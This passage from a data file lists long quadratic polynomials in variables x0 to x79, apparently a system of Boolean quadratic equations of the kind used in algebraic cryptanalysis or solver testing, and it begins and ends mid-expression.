x30*x69 + x30*x73 + x30*x75 + x30*x76 + x31*x34 + x31*x36 + x31*x37 + x31*x41 + x31*x43 + x31*x44 + x31*x45 + x31*x46 + x31*x47 + x31*x49 + x31*x50 + x31*x52 + x31*x56 + x31*x58 + x31*x60 + x31*x63 + x31*x65 + x31*x67 + x31*x68 + x31*x74 + x31*x79 + x31 + x32*x39 + x32*x43 + x32*x49 + x32*x50 + x32*x52 + x32*x54 + x32*x56 + x32*x57 + x32*x59 + x32*x62 + x32*x63 + x32*x67 + x32*x69 + x32*x70 + x32*x71 + x32*x72 + x32*x73 + x32*x74 + x32*x76 + x32*x77 + x32*x79 + x32 + x33*x36 + x33*x39 + x33*x40 + x33*x41 + x33*x43 + x33*x45 + x33*x47 + x33*x48 + x33*x49 + x33*x51 + x33*x52 + x33*x54 + x33*x55 + x33*x56 + x33*x57 + x33*x59 + x33*x64 + x33*x65 + x33*x67 + x33*x69 + x33*x70 + x33*x72 + x33*x78 + x34*x35 + x34*x37 + x34*x38 + x34*x43 + x34*x44 + x34*x48 + x34*x50 + x34*x51 + x34*x53 + x34*x54 + x34*x55 + x34*x56 + x34*x57 + x34*x58 + x34*x62 + x34*x65 + x34*x66 + x34*x67 + x34*x70 + x34*x75 + x34*x77 + x34*x78 + x34 + x35*x36 + x35*x40 + x35*x44 + x35*x47 + x35*x49 + x35*x52 + x35*x53 + x35*x54 + x35*x55 + x35*x56 + x35*x57 + x35*x58 + x35*x64 + x35*x65 + x35*x66 + x35*x67 + x35*x69 + x35*x72 + x35*x73 + x35*x75 + x35*x76 + x35*x78 + x35*x79 + x36*x38 + x36*x39 + x36*x40 + x36*x41 + x36*x46 + x36*x47 + x36*x48 + x36*x49 + x36*x50 + x36*x52 + x36*x53 + x36*x55 + x36*x57 + x36*x59 + x36*x61 + x36*x63 + x36*x64 + x36*x70 + x36*x71 + x36*x72 + x36*x75 + x36*x78 + x36*x79 + x36 + x37*x39 + x37*x40 + x37*x41 + x37*x42 + x37*x44 + x37*x45 + x37*x46 + x37*x48 + x37*x50 + x37*x52 + x37*x55 + x37*x56 + x37*x58 + x37*x60 + x37*x64 + x37*x65 + x37*x66 + x37*x69 + x37*x70 + x37*x71 + x37*x72 + x37*x74 + x37*x77 + x38*x39 + x38*x45 + x38*x46 + x38*x47 + x38*x49 + x38*x50 + x38*x52 + x38*x54 + x38*x55 + x38*x56 + x38*x57 + x38*x58 + x38*x60 + x38*x62 + x38*x63 + x38*x65 + x38*x66 + x38*x67 + x38*x68 + x38*x69 + x38*x73 + x38*x74 + x38*x75 + x38*x76 + x38*x77 + x38*x78 + x38*x79 + x38 + x39*x40 + x39*x42 + x39*x43 + x39*x44 + x39*x46 + x39*x52 + x39*x53 + x39*x55 + x39*x57 + x39*x58 + x39*x59 + x39*x61 + x39*x68 + x39*x69 + x39*x72 + x39*x73 + x39*x76 + x39*x77 + x39*x79 + x39 + x40*x42 + x40*x43 + x40*x44 + x40*x48 + x40*x51 + x40*x52 + x40*x53 + x40*x54 + x40*x56 + x40*x59 + x40*x60 + x40*x65 + x40*x66 + x40*x67 + x40*x70 + x40*x71 + x40*x72 + x40*x73 + x40*x74 + x40*x77 + x40 + x41*x45 + x41*x46 + x41*x47 + x41*x48 + x41*x49 + x41*x51 + x41*x52 + x41*x55 + x41*x56 + x41*x57 + x41*x59 + x41*x60 + x41*x62 + x41*x63 + x41*x67 + x41*x68 + x41*x71 + x41*x72 + x41*x73 + x42*x43 + x42*x46 + x42*x47 + x42*x49 + x42*x51 + x42*x53 + x42*x55 + x42*x57 + x42*x58 + x42*x59 + x42*x60 + x42*x61 + x42*x63 + x42*x64 + x42*x68 + x42*x70 + x42*x71 + x42*x74 + x42*x76 + x42*x78 + x42*x79 + x42 + x43*x44 + x43*x46 + x43*x47 + x43*x48 + x43*x50 + x43*x51 + x43*x52 + x43*x53 + x43*x54 + x43*x56 + x43*x57 + x43*x58 + x43*x59 + x43*x60 + x43*x64 + x43*x66 + x43*x67 + x43*x68 + x43*x70 + x43*x72 + x43*x74 + x43*x75 + x43*x76 + x43*x77 + x43 + x44*x45 + x44*x46 + x44*x47 + x44*x48 + x44*x51 + x44*x52 + x44*x53 + x44*x54 + x44*x55 + x44*x57 + x44*x59 + x44*x60 + x44*x61 + x44*x65 + x44*x67 + x44*x69 + x44*x71 + x44*x72 + x44*x73 + x44*x75 + x44*x76 + x44*x78 + x44*x79 + x45*x48 + x45*x50 + x45*x52 + x45*x53 + x45*x54 + x45*x56 + x45*x57 + x45*x60 + x45*x61 + x45*x62 + x45*x64 + x45*x65 + x45*x66 + x45*x67 + x45*x71 + x45*x72 + x45*x77 + x45*x79 + x46*x51 + x46*x52 + x46*x54 + x46*x57 + x46*x58 + x46*x61 + x46*x62 + x46*x63 + x46*x64 + x46*x65 + x46*x66 + x46*x67 + x46*x68 + x46*x74 + x46*x76 + x46 + x47*x49 + x47*x50 + x47*x51 + x47*x52 + x47*x54 + x47*x55 + x47*x57 + x47*x59 + x47*x60 + x47*x66 + x47*x68 + x47*x74 + x47*x76 + x47*x77 + x47*x78 + x47 + x48*x49 + x48*x50 + x48*x51 + x48*x52 + x48*x54 + x48*x55 + x48*x59 + x48*x60 + x48*x61 + x48*x62 + x48*x63 + x48*x68 + x48*x70 + x48*x71 + x48*x72 + x48*x75 + x48*x76 + x48*x77 + x48*x78 + x48*x79 + x48 + x49*x55 + x49*x56 + x49*x59 + x49*x62 + x49*x67 + x49*x68 + x49*x70 + x49*x71 + x49*x74 + x49*x75 + x49*x76 + x49*x77 + x50*x52 + x50*x54 + x50*x56 + x50*x58 + x50*x59 + x50*x60 + x50*x61 + x50*x64 + x50*x65 + x50*x69 + x50*x71 + x50*x73 + x50*x75 + x50*x76 + x51*x53 + x51*x54 + x51*x55 + x51*x57 + x51*x58 + x51*x63 + x51*x66 + x51*x67 + x51*x69 + x51*x72 + x51*x74 + x51*x77 + x51 + x52*x54 + x52*x55 + x52*x57 + x52*x58 + x52*x60 + x52*x61 + x52*x62 + x52*x63 + x52*x69 + x52*x71 + x52*x74 + x52*x76 + x52*x78 + x52*x79 + x53*x54 + x53*x56 + x53*x58 + x53*x61 + x53*x62 + x53*x64 + x53*x65 + x53*x67 + x53*x71 + x53*x73 + x53*x77 + x53*x79 + x53 + x54*x55 + x54*x56 + x54*x57 + x54*x58 + x54*x60 + x54*x64 + x54*x65 + x54*x67 + x54*x68 + x54*x73 + x54*x78 + x54*x79 + x54 + x55*x56 + x55*x58 + x55*x60 + x55*x63 + x55*x67 + x55*x69 + x55*x70 + x55*x71 + x55*x72 + x55*x74 + x55*x76 + x55*x77 + x55*x78 + x55*x79 + x55 + x56*x58 + x56*x59 + x56*x63 + x56*x64 + x56*x65 + x56*x67 + x56*x69 + x56*x72 + x56*x73 + x56*x74 + x56*x75 + x56*x76 + x56 + x57*x58 + x57*x61 + x57*x62 + x57*x64 + x57*x66 + x57*x69 + x57*x72 + x57*x73 + x57*x78 + x58*x60 + x58*x61 + x58*x62 + x58*x65 + x58*x67 + x58*x68 + x58*x69 + x58*x70 + x58*x74 + x58*x75 + x58*x76 + x58*x77 + x58*x79 + x59*x61 + x59*x62 + x59*x64 + x59*x65 + x59*x66 + x59*x67 + x59*x69 + x59*x72 + x59*x74 + x59*x75 + x59*x76 + x59 + x60*x61 + x60*x62 + x60*x63 + x60*x65 + x60*x66 + x60*x67 + x60*x72 + x60*x74 + x60*x75 + x60*x77 + x60 + x61*x62 + x61*x63 + x61*x64 + x61*x66 + x61*x67 + x61*x69 + x61*x70 + x61*x71 + x61*x72 + x61*x73 + x61*x75 + x61 + x62*x63 + x62*x64 + x62*x65 + x62*x66 + x62*x70 + x62*x72 + x62*x74 + x62*x75 + x62*x79 + x62 + x63*x66 + x63*x68 + x63*x70 + x63*x71 + x63*x75 + x63*x76 + x63*x77 + x63*x78 + x63*x79 + x64*x65 + x64*x67 + x64*x68 + x64*x70 + x64*x71 + x64*x74 + x64*x75 + x64*x76 + x65*x66 + x65*x68 + x65*x69 + x65*x70 + x65*x71 + x65*x72 + x65*x73 + x65*x74 + x65*x76 + x65*x77 + x66*x67 + x66*x69 + x66*x73 + x66*x74 + x67*x68 + x67*x71 + x67*x72 + x67*x73 + x67*x74 + x67*x78 + x67 + x68*x69 + x68*x73 + x68*x75 + x68*x76 + x69*x70 + x69*x73 + x69*x74 + x69*x78 + x69*x79 + x69 + x70*x71 + x71*x72 + x71*x73 + x71*x74 + x71*x75 + x71*x76 + x71*x77 + x71*x79 + x71 + x72*x73 + x72*x74 + x72*x75 + x72*x77 + x72*x78 + x72*x79 + x72 + x73*x74 + x73*x75 + x73*x76 + x73*x78 + x73*x79 + x73 + x74*x75 + x74*x78 + x74*x79 + x74 + x75*x76 + x75*x78 + x75*x79 + x76*x77 + x76*x78 + x76*x79 + x77*x78 + x77*x79 + x77 + x78*x79 + x79 + 1, x0*x2 + x0*x3 + x0*x5 + x0*x7 + x0*x10 + x0*x11 + x0*x12 + x0*x14 + x0*x16 + x0*x17 + x0*x18 + x0*x20 + x0*x23 + x0*x25 + x0*x27 + x0*x28 + x0*x30 + x0*x31 + x0*x32 + x0*x33 + x0*x34 + x0*x35 + x0*x39 + x0*x40 + x0*x42 + x0*x44 + x0*x50 + x0*x53 + x0*x56 + x0*x59 + x0*x60 + x0*x61 + x0*x62 + x0*x64 + x0*x65 + x0*x69 + x0*x72 + x0*x74 + x0*x75 + x0*x77 + x0*x78 + x1*x3 + x1*x6 + x1*x11 + x1*x15 + x1*x17 + x1*x19 + x1*x20 + x1*x21 + x1*x23 + x1*x25 + x1*x26 + x1*x28 + x1*x29 + x1*x33 + x1*x35 + x1*x36 + x1*x37 + x1*x38 + x1*x42 + x1*x43 + x1*x44 + x1*x46 + x1*x53 + x1*x54 + x1*x56 + x1*x57 + x1*x58 + x1*x59 + x1*x60 + x1*x61 + x1*x62 + x1*x65 + x1*x67 + x1*x68 + x1*x71 + x1*x73 + x1*x74 + x1*x75 + x1*x76 + x1 + x2*x4 + x2*x5 + x2*x8 + x2*x10 + x2*x17 + x2*x18 + x2*x19 + x2*x20 + x2*x21 + x2*x24 + x2*x25 + x2*x26 + x2*x30 + x2*x31 + x2*x33 + x2*x34 + x2*x36 + x2*x37 + x2*x38 + x2*x39 + x2*x44 + x2*x49 + x2*x51 + x2*x52 + x2*x55 + x2*x56 + x2*x57 + x2*x58 + x2*x63 + x2*x65 + x2*x73 + x2*x75 + x2*x78 + x3*x6 + x3*x7 + x3*x8 + x3*x9 + x3*x10 + x3*x13 + x3*x14 + x3*x15 + x3*x20 + x3*x21 + x3*x22 + x3*x23 + x3*x26 + x3*x27 + x3*x29 + x3*x30 + x3*x31 + x3*x32 + x3*x35 + x3*x36 + x3*x37 + x3*x38 + x3*x40 + x3*x41 + x3*x42 + x3*x44 + x3*x46 + x3*x51 + x3*x52 + x3*x53 + x3*x54 + x3*x58 + x3*x60 + x3*x62 + x3*x63 + x3*x64 + x3*x67 + x3*x72 + x3*x73 + x3*x74 + x3*x77 + x3 + x4*x6 + x4*x8 + x4*x9 + x4*x13 + x4*x14 + x4*x17 + x4*x23 + x4*x24 + x4*x31 + x4*x32 + x4*x37 + x4*x38 + x4*x39 + x4*x40 + x4*x42 + x4*x45 + x4*x50 + x4*x51 + x4*x54 + x4*x56 + x4*x62 + x4*x63 + x4*x64 + x4*x65 + x4*x66 + x4*x68 + x4*x70 + x4*x72 + x4*x73 + x4*x76 + x4*x77 + x4*x78 + x5*x6 + x5*x10 + x5*x12 + x5*x13 + x5*x18 + x5*x22 + x5*x25 + x5*x27 + x5*x28 + x5*x30 + x5*x31 + x5*x32 + x5*x33 + x5*x34 + x5*x35 + x5*x36 + x5*x37 + x5*x40 + x5*x41 + x5*x44 + x5*x45 + x5*x46 + x5*x48 + x5*x50 + x5*x53 + x5*x54 + x5*x56 + x5*x58 + x5*x59 + x5*x62 + x5*x63 + x5*x68 + x5*x69 + x5*x70 + x5*x72 + x5*x74 + x5*x76 + x5*x77 + x5*x78 + x6*x9 + x6*x11 + x6*x14 + x6*x17 + x6*x19 + x6*x21 + x6*x25 + x6*x26 + x6*x27 + x6*x28 + x6*x30 + x6*x31 + x6*x32 + x6*x33 + x6*x37 + x6*x40 + x6*x42 + x6*x45 + x6*x48 + x6*x49 + x6*x51 + x6*x52 + x6*x53 + x6*x54 + x6*x56 + x6*x57 + x6*x58 + x6*x60 + x6*x62 + x6*x64 + x6*x65 + x6*x71 + x6*x72 + x6*x74 + x6*x78 + x6 + x7*x8 + x7*x10 + x7*x11 + x7*x15 + x7*x18 + x7*x27 + x7*x28 + x7*x34 + x7*x40 + x7*x42 + x7*x43 + x7*x45 + x7*x47 + x7*x54 + x7*x57 + x7*x58 + x7*x59 + x7*x60 + x7*x61 + x7*x63 + x7*x67 + x7*x68 + x7*x74 + x7*x75 + x7*x76 + x7 + x8*x9 + x8*x10 + x8*x11 + x8*x12 + x8*x14 + x8*x15 + x8*x16 + x8*x17 + x8*x19 + x8*x20 + x8*x23 + x8*x25 + x8*x27 + x8*x28 + x8*x29 + x8*x30 + x8*x33 + x8*x36 + x8*x38 + x8*x39 + x8*x40 + x8*x41 + x8*x43 + x8*x49 + x8*x51 + x8*x52 + x8*x54 + x8*x55 + x8*x56 + x8*x59 + x8*x60 + x8*x61 + x8*x63 + x8*x69 + x8*x70 + x8*x72 + x8*x76 + x8*x77 + x9*x10 + x9*x12 + x9*x14 + x9*x15 + x9*x16 + x9*x17 + x9*x20 + x9*x26 + x9*x27 + x9*x28 + x9*x29 + x9*x31 + x9*x34 + x9*x37 + x9*x40 + x9*x45 + x9*x46 + x9*x51 + x9*x53 + x9*x56 + x9*x57 + x9*x59 + x9*x61 + x9*x62 + x9*x63 + x9*x64 + x9*x65 + x9*x67 + x9*x69 + x9*x70 + x9*x71 + x9*x72 + x9*x73 + x9*x74 + x10*x15 + x10*x18 + x10*x20 + x10*x21 + x10*x22 + x10*x23 + x10*x25 + x10*x26 + x10*x27 + x10*x29 + x10*x30 + x10*x31 + x10*x35 + x10*x36 + x10*x37 + x10*x38 + x10*x39 + x10*x40 + x10*x43 + x10*x45 + x10*x46 + x10*x50 + x10*x51 + x10*x54 + x10*x55 + x10*x56 + x10*x59 + x10*x60 + x10*x61 + x10*x62 + x10*x65 + x10*x66 + x10*x67 + x10*x68 + x10*x69 + x10*x70 + x10*x71 + x10*x73 + x10*x75 + x10*x78 + x10*x79 + x11*x12 + x11*x17 + x11*x19 + x11*x20 + x11*x21 + x11*x22 + x11*x24 + x11*x25 + x11*x28 + x11*x36 + x11*x38 + x11*x40 + x11*x41 + x11*x42 + x11*x50 + x11*x51 + x11*x52 + x11*x53 + x11*x55 + x11*x58 + x11*x59 + x11*x63 + x11*x64 + x11*x65 + x11*x67 + x11*x68 + x11*x69 + x11*x70 + x11*x71 + x11*x72 + x11*x73 + x11*x74 + x11*x75 + x11*x77 + x11*x78 + x12*x14 + x12*x16 + x12*x19 + x12*x20 + x12*x21 + x12*x22 + x12*x23 + x12*x24 + x12*x25 + x12*x29 + x12*x30 + x12*x31 + x12*x32 + x12*x35 + x12*x37 + x12*x38 + x12*x39 + x12*x40 + x12*x42 + x12*x43 + x12*x44 + x12*x46 + x12*x47 + x12*x49 + x12*x51 + x12*x52 + x12*x54 + x12*x55 + x12*x59 + x12*x61 + x12*x62 + x12*x63 + x12*x67 + x12*x68 + x12*x69 + x12*x73 + x12*x74 + x12*x77 + x12*x78 + x12*x79 + x12 + x13*x15 + x13*x19 + x13*x22 + x13*x24 + x13*x25 + x13*x27 + x13*x29 + x13*x32 + x13*x35 + x13*x37 + x13*x38 + x13*x39 + x13*x46 + x13*x48 + x13*x52 + x13*x54 + x13*x58 + x13*x60 + x13*x63 + x13*x64 + x13*x66 + x13*x67 + x13*x75 + x13*x77 + x13*x78 + x13 + x14*x15 + x14*x18 + x14*x19 + x14*x23 + x14*x24 + x14*x27 + x14*x28 + x14*x31 + x14*x37 + x14*x40 + x14*x41 + x14*x44 + x14*x46 + x14*x49 + x14*x50 + x14*x51 + x14*x55 + x14*x56 + x14*x58 + x14*x61 + x14*x62 + x14*x63 + x14*x64 + x14*x66 + x14*x68 + x14*x72 + x14*x74 + x14*x77 + x14*x79 + x15*x17 + x15*x18 + x15*x22 + x15*x23 + x15*x24 + x15*x27 + x15*x28 + x15*x31 + x15*x32 + x15*x33 + x15*x37 + x15*x40 + x15*x41 + x15*x42 + x15*x45 + x15*x46 + x15*x48 + x15*x49 + x15*x50 + x15*x52 + x15*x54 + x15*x55 + x15*x56 + x15*x57 + x15*x60 + x15*x62 + x15*x70 + x15*x71 + x15*x72 + x15*x75 + x15*x76 + x15*x79 + x15 + x16*x17 + x16*x19 + x16*x20 + x16*x21 + x16*x22 + x16*x24 + x16*x28 + x16*x29 + x16*x32 + x16*x33 + x16*x34 + x16*x35 + x16*x36 + x16*x37 + x16*x38 + x16*x39 + x16*x41 + x16*x43 + x16*x47 + x16*x52 + x16*x56 + x16*x58 + x16*x63 + x16*x64 + x16*x65 + x16*x66 + x16*x67 + x16*x68 + x16*x70 + x16*x71 + x16*x72 + x16*x75 + x16*x76 + x16*x77 + x16*x78 + x16*x79 + x17*x19 + x17*x20 + x17*x21 + x17*x22 + x17*x25 + x17*x26 + x17*x29 + x17*x33 + x17*x38 + x17*x39 + x17*x40 + x17*x41 + x17*x42 + x17*x43 + x17*x45 + x17*x46 + x17*x51 + x17*x52 + x17*x53 + x17*x54 + x17*x57 + x17*x58 + x17*x59 + x17*x62 + x17*x65 + x17*x66 + x17*x70 + x17*x71 + x17*x73 + x17*x76 + x17*x77 + x17*x78 + x18*x20 + x18*x23 + x18*x26 + x18*x28 + x18*x29 + x18*x32 + x18*x34 + x18*x35 + x18*x36 + x18*x37 + x18*x43 + x18*x44 + x18*x47 + x18*x49 + x18*x52 + x18*x53 + x18*x54 + x18*x56 + x18*x58 + x18*x59 + x18*x61 + x18*x64 + x18*x65 + x18*x67 + x18*x68 + x18*x71 + x18*x72 + x18*x74 + x18*x75 + x18*x76 + x18 + x19*x23 + x19*x26 + x19*x30 + x19*x32 + x19*x33 + x19*x35 + x19*x36 + x19*x37 + x19*x39 + x19*x40 + x19*x42 + x19*x46 + x19*x48 + x19*x49 + x19*x51 + x19*x54 + x19*x55 + x19*x63 + x19*x64 + x19*x66 + x19*x67 + x19*x68 + x19*x69 + x19*x72 + x19*x74 + x19*x75 + x19*x76 + x20*x21 + x20*x22 + x20*x24 + x20*x27 + x20*x28 + x20*x29 + x20*x32 + x20*x35 + x20*x36 + x20*x38 + x20*x39 + x20*x40 + x20*x41 + x20*x42 + x20*x43 + x20*x45 + x20*x46 + x20*x47 + x20*x50 + x20*x52 + x20*x53 + x20*x55 + x20*x57 + x20*x58 + x20*x59 + x20*x61 + x20*x62 + x20*x63 + x20*x65 + x20*x66 + x20*x68 + x20*x72 + x20*x73 + x20*x75 + x20*x76 + x21*x25 + x21*x26 + x21*x28 + x21*x29 + x21*x36 + x21*x37 + x21*x38 + x21*x40 + x21*x42 + x21*x43 + x21*x48 + x21*x50 + x21*x52 + x21*x57 + x21*x58 + x21*x59 + x21*x61 + x21*x62 + x21*x66 + x21*x67 + x21*x73 + x21*x78 + x22*x26 + x22*x28 + x22*x32 + x22*x33 + x22*x34 + x22*x35 + x22*x37 + x22*x38 + x22*x41 + x22*x45 + x22*x46 + x22*x49 + x22*x51 + x22*x53 + x22*x56 + x22*x62 + x22*x63 + x22*x67 + x22*x68 + x22*x69 + x22*x70 + x22*x71 + x22*x75 + x22*x79 + x22 + x23*x25 + x23*x26 + x23*x27 + x23*x28 + x23*x29 + x23*x31 + x23*x34 + x23*x35 + x23*x36 + x23*x37 + x23*x38 + x23*x39 + x23*x40 + x23*x43 + x23*x44 + x23*x45 + x23*x46 + x23*x47 + x23*x49 + x23*x51 + x23*x52 + x23*x53 + x23*x55 + x23*x57 + x23*x58 + x23*x59 + x23*x60 + x23*x63 + x23*x64 + x23*x65 + x23*x70 + x23*x71 + x23*x73 + x23*x75 + x23*x78 + x24*x25 + x24*x26 + x24*x27 + x24*x30 + x24*x32 + x24*x36 + x24*x38 + x24*x39 + x24*x41 + x24*x43 + x24*x44 + x24*x45 + x24*x46 + x24*x49 + x24*x55 + x24*x56 + x24*x58 + x24*x59 + x24*x62 + x24*x63 + x24*x65 + x24*x70 + x24*x71 + x24*x72 + x24*x74 + x24*x75 + x24*x76 + x24*x77 + x24 + x25*x29 + x25*x30 + x25*x31 + x25*x33 + x25*x35 + x25*x37 + x25*x39 + x25*x40 + x25*x41 + x25*x46 + x25*x47 + x25*x48 + x25*x49 + x25*x50 + x25*x51 + x25*x53 + x25*x54 + x25*x56 + x25*x57 + x25*x58 + x25*x59 + x25*x63 + x25*x64 + x25*x66 + x25*x73 + x25*x76 + x25 + x26*x27 + x26*x28 + x26*x29 + x26*x30 + x26*x31 + x26*x34 + x26*x36 + x26*x39 + x26*x40 + x26*x41 + x26*x42 + x26*x44 + x26*x45 + x26*x46 + x26*x47 + x26*x48 + x26*x49 + x26*x51 + x26*x52 + x26*x53 + x26*x54 + x26*x55 + x26*x56 + x26*x59 + x26*x60 + x26*x61 + x26*x64 + x26*x65 + x26*x66 + x26*x68 + x26*x69 + x26*x72 + x26*x73 + x26*x75 + x27*x31 + x27*x34 + x27*x35 + x27*x36 + x27*x37 + x27*x39 + x27*x41 + x27*x43 + x27*x44 + x27*x45 + x27*x50 + x27*x51 + x27*x52 + x27*x53 + x27*x55 + x27*x56 + x27*x59 + x27*x62 + x27*x64 + x27*x69 + x27*x70 + x27*x72 + x27*x73 + x27*x74 + x27*x76 + x28*x29 + x28*x30 + x28*x32 + x28*x34 + x28*x35 + x28*x37 + x28*x39 + x28*x40 + x28*x43 + x28*x51 + x28*x55 + x28*x58 + x28*x59 + x28*x62 + x28*x63 + x28*x64 + x28*x67 + x28*x70 + x28*x76 + x28*x77 + x28*x78 + x28 + x29*x31 + x29*x33 + x29*x35 + x29*x40 + x29*x42 + x29*x43 + x29*x46 + x29*x52 + x29*x55 + x29*x56 + x29*x57 + x29*x60 + x29*x61 + x29*x62 + x29*x63 + x29*x64 + x29*x68 + x29*x70 + x29*x73 + x29*x74 + x29*x75 + x29*x76 + x29*x78 + x29*x79 + x29 + x30*x32 + x30*x37 + x30*x38 + x30*x39 + x30*x41 + x30*x42 + x30*x45 + x30*x46 + x30*x47 + x30*x48 + x30*x50 + x30*x52 + x30*x53 + x30*x55 + x30*x57 + x30*x59 + x30*x61 + x30*x63 + x30*x64 + x30*x65 + x30*x66 + x30*x70 + x30*x71 + x30*x73 + x30*x76 + x30*x79 + x30 + x31*x33 + x31*x37 + x31*x38 + x31*x39 + x31*x40 + x31*x41 + x31*x44 + x31*x45 + x31*x48 + x31*x50 + x31*x52 + x31*x53 + x31*x54 + x31*x60 + x31*x61 + x31*x64 + x31*x65 + x31*x66 + x31*x67 + x31*x69 + x31*x70 + x31*x71 + x31*x72 + x31*x74 + x31*x76 + x31*x77 + x31 + x32*x36 + x32*x37 + x32*x38 + x32*x43 + x32*x44 + x32*x46 + x32*x52 + x32*x55 + x32*x57 + x32*x59 + x32*x60 + x32*x61 + x32*x62 + x32*x63 + x32*x65 + x32*x67 + x32*x69 + x32*x72 + x32*x74 + x32*x75 + x32*x78 + x32*x79 + x33*x34 + x33*x39 + x33*x45 + x33*x46 + x33*x47 + x33*x48 + x33*x50 + x33*x52 + x33*x53 + x33*x56 + x33*x61 + x33*x63 + x33*x64 + x33*x69 + x33*x72 + x33*x73 + x33*x75 + x33*x76 + x34*x40 + x34*x45 + x34*x46 + x34*x47 + x34*x50 + x34*x52 + x34*x54 + x34*x59 + x34*x62 + x34*x66 + x34*x68 + x34*x69 + x34*x70 + x34*x72 + x34*x74 + x34*x77 + x34 + x35*x39 + x35*x40 + x35*x41 + x35*x44 + x35*x47 + x35*x48 + x35*x51 + x35*x52 + x35*x54 + x35*x57 + x35*x58 + x35*x59 + x35*x60 + x35*x62 + x35*x67 + x35*x68 + x35*x71 + x35*x72 + x35*x73 + x35*x74 + x35*x75 + x35*x77 + x35 + x36*x37 + x36*x40 + x36*x42 + x36*x43 + x36*x46 + x36*x50 + x36*x53 + x36*x54 + x36*x55 + x36*x57 + x36*x58 + x36*x60 + x36*x63 + x36*x65 + x36*x66 + x36*x68 + x36*x69 + x36*x71 + x36*x72 + x36*x74 + x36*x75 + x36*x77 + x36*x78 + x36 + x37*x40 + x37*x43 + x37*x44 + x37*x50 + x37*x53 + x37*x54 + x37*x55 + x37*x56 + x37*x57 + x37*x59 + x37*x60 + x37*x61 + x37*x63 + x37*x71 + x37*x72 + x37*x73 + x37*x74 + x37*x78 + x38*x39 + x38*x43 + x38*x45 + x38*x46 + x38*x50 + x38*x51 + x38*x52 + x38*x53 + x38*x55 + x38*x57 + x38*x58 + x38*x59 + x38*x62 + x38*x64 + x38*x65 + x38*x69 + x38*x74 + x38*x76 + x38*x77 + x38*x78 + x38*x79 + x38 + x39*x40 + x39*x41 + x39*x43 + x39*x44 + x39*x45 + x39*x50 + x39*x52 + x39*x53 + x39*x55 + x39*x58 + x39*x63 + x39*x66 + x39*x68 + x39*x70 + x39*x72 + x39*x73 + x39*x74 + x39*x77 + x39*x79 + x39 + x40*x41 + x40*x44 + x40*x45 + x40*x48 + x40*x49 + x40*x50 + x40*x56 + x40*x57 + x40*x61 + x40*x63 + x40*x64 + x40*x66 + x40*x67 + x40*x70 + x40*x72 + x40*x74 + x40*x76 + x41*x42 + x41*x46 + x41*x49 + x41*x50 + x41*x51 + x41*x53 + x41*x55 + x41*x57 + x41*x58 + x41*x60 + x41*x62 + x41*x64 + x41*x65 + x41*x66 + x41*x68 + x41*x69 + x41*x71 + x41*x73 + x41*x74 + x41*x75 + x41*x76 + x41*x77 + x41*x78 + x41*x79 + x41 + x42*x43 + x42*x44 + x42*x45 + x42*x46 + x42*x48 + x42*x49 + x42*x51 + x42*x53 + x42*x55 + x42*x58 + x42*x62 + x42*x66 + x42*x67 + x42*x69 + x42*x72 + x42*x73 + x42*x74 + x42*x75 + x42*x76 + x42*x79 + x43*x50 + x43*x53 + x43*x54 + x43*x58 + x43*x59 + x43*x60 + x43*x64 + x43*x67 + x43*x68 + x43*x72 + x43*x73 + x43*x76 + x43*x77 + x43*x79 + x43 + x44*x45 + x44*x47 + x44*x48 + x44*x50 + x44*x52 + x44*x54 + x44*x56 + x44*x59 + x44*x65 + x44*x66 + x44*x67 + x44*x68 + x44*x69 + x44*x70 + x44*x71 + x44*x72 + x44*x73 + x44*x74 + x45*x46 + x45*x49 + x45*x52 + x45*x53 + x45*x55 + x45*x56 + x45*x59 + x45*x60 + x45*x62 + x45*x64 + x45*x69 + x45*x70 + x45*x71 + x45*x72 + x45*x75 + x45*x76 + x45*x79 + x46*x47 + x46*x49 + x46*x50 + x46*x53 + x46*x57 + x46*x59 + x46*x61 + x46*x62 + x46*x66 + x46*x67 + x46*x69 + x46*x70 + x46*x71 + x46*x79 + x47*x51 + x47*x52 + x47*x53 + x47*x54 + x47*x57 + x47*x58 + x47*x59 + x47*x61 + x47*x62 + x47*x63 + x47*x64 + x47*x65 + x47*x67 + x47*x68 + x47*x72 + x47*x75 + x47*x77 + x47*x78 + x47*x79 + x48*x50 + x48*x52 + x48*x53 + x48*x54 + x48*x55 + x48*x56 + x48*x59 + x48*x60 + x48*x62 + x48*x64 + x48*x65 + x48*x66 + x48*x67 + x48*x68 + x48*x69 + x48*x70 + x48*x71 + x48*x74 + x48*x77 + x48*x79 + x49*x51 + x49*x53 + x49*x54 + x49*x55 + x49*x56 + x49*x57 + x49*x58 + x49*x59 + x49*x60 + x49*x61 + x49*x64 + x49*x67 + x49*x68 + x49*x71 + x49*x73 + x49*x76 + x49*x77 + x49*x78 + x49*x79 + x50*x52 + x50*x54 + x50*x55 + x50*x58 + x50*x60 + x50*x61 + x50*x64 + x50*x68 + x50*x69 + x50*x70 + x50*x71 + x50*x72 + x50*x73 + x50*x75 + x50*x76 + x50*x77 + x50*x78 + x50*x79 + x50 + x51*x52 + x51*x53 + x51*x54 + x51*x55 + x51*x56 + x51*x59 + x51*x60 + x51*x61 + x51*x62 + x51*x63 + x51*x67 + x51*x70 + x51*x72 + x51*x74 + x51*x75 + x51*x77 + x51 + x52*x53 + x52*x55 + x52*x57 + x52*x63 + x52*x64 + x52*x66 + x52*x67 + x52*x68 + x52*x72 + x52*x74 + x52*x78 + x52 + x53*x54 + x53*x55 + x53*x57 + x53*x59 + x53*x63 + x53*x65 + x53*x66 + x53*x67 + x53*x68 + x53*x71 + x53*x72 + x53*x73 + x53*x74 + x53*x76 + x53*x77 + x53*x78 + x53*x79 + x54*x57 + x54*x59 + x54*x60 + x54*x61 + x54*x65 + x54*x66 + x54*x68 + x54*x69 + x54*x71 + x54*x74 + x54*x75 + x54*x76 + x55*x57 + x55*x61 + x55*x62 + x55*x65 + x55*x66 + x55*x67 + x55*x68 + x55*x69 + x55*x70 + x55*x72 + x55*x73 + x55*x74 + x55*x78 + x55*x79 + x55 + x56*x58 + x56*x60 + x56*x61 + x56*x65 + x56*x66 + x56*x67 + x56*x68 + x56*x70 + x56*x76 + x56*x78 + x56 + x57*x60 + x57*x61 + x57*x65 + x57*x66 + x57*x67 + x57*x68 + x57*x69 + x57*x70 + x57*x74 + x57*x75 + x57*x77 + x57*x79 + x57 + x58*x60 + x58*x61 + x58*x67 + x58*x68 + x58*x69 + x58*x70 + x58*x75 + x58*x78 + x58*x79 + x58 + x59*x60 + x59*x68 + x59*x69 + x59*x71 + x59*x74 + x59*x75 + x59*x77 + x59 + x60*x63 + x60*x64 + x60*x75 + x60*x77 + x60 + x61*x62 + x61*x64 + x61*x67 + x61*x70 + 